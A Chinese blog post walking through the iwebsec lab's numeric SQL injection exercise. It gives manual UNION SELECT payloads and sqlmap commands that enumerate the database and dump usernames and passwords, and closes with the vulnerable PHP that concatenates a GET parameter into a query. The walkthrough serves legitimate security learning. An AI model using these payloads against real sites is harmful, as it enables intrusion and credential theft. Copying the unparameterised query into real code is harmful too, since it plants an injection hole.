2023-08-18 17:55阅读: 363评论: 0推荐: 0

iwebsec-sql注入 01 数字型注入

1.iwebsec-sql注入 01 数字型注入2023-08-18

01、题目分析

数字型注入的sql语句

 select * from news where id=$id;

最最最常规的，直接注入

02、手工注入：

先判断有多少列

 http://www.bdrwmy.cn:8001/sqli/01.php?id=1 order by 3
-- id=-1就是不显示内容
http://www.bdrwmy.cn:8001/sqli/01.php?id=-1 union select 1,2,3

知道有多少列了，接下来判断数据库

 http://www.bdrwmy.cn:8001/sqli/01.php?id=-1 union select 1,2,database()

知道数据库名称了，接下来就可以爆表

 http://www.bdrwmy.cn:8001/sqli/01.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='iwebsec'

爆列

 http://www.bdrwmy.cn:8001/sqli/01.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='sqli'

爆数据

 http://www.bdrwmy.cn:8001/sqli/01.php?id=-1 union select 1,2,group_concat(concat_ws('~',username,password)) from iwebsec.sqli

收工

03、sqlmap工具注入：

判断能否注入：

  python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/01.php?id=1"

能注入，暴库

  python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/01.php?id=1"  --dbs

暴表

 python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/01.php?id=1"  --tables  -D iwebsec

暴字段

 python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/01.php?id=1"  -T sqli  -D iwebsec  --columns

暴数据

 python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/01.php?id=1"  -T sqli  -D iwebsec  -C "username,password" --dump

04、代码分析

 <?php
  if(isset($_GET['id'])){
    $id=$_GET['id'];
	
	$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
    # 这就是最简单的sql语句拼接，输入值会进入到id中，因此可以实现sql注入
		$result=mysql_query($sql);
	}
  else{
	exit();
  }
?>

上一篇python-下班倒计时

下一篇iwebsec-sql注入 02 字符型注入

posted @ 2023-08-18 17:55 别打扰我摸鱼阅读(363) 评论(0) 编辑收藏举报

刷新页面返回顶部

登录后才能查看或发表评论，立即登录或者逛逛博客园首页

bdrwmy

iwebsec-sql注入 01 数字型注入

01、题目分析

02、手工注入：

03、sqlmap工具注入：

04、代码分析

公告

常用链接

我的标签

合集

随笔分类

随笔档案

文章分类

相册

阅读排行榜

	http://www.bdrwmy.cn:8001/sqli/01.php?id=1 order by 3
	-- id=-1就是不显示内容
	http://www.bdrwmy.cn:8001/sqli/01.php?id=-1 union select 1,2,3

	<?php
	if(isset($_GET['id'])){
	$id=$_GET['id'];

	$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
	# 这就是最简单的sql语句拼接，输入值会进入到id中，因此可以实现sql注入
	$result=mysql_query($sql);
	}
	else{
	exit();
	}
	?>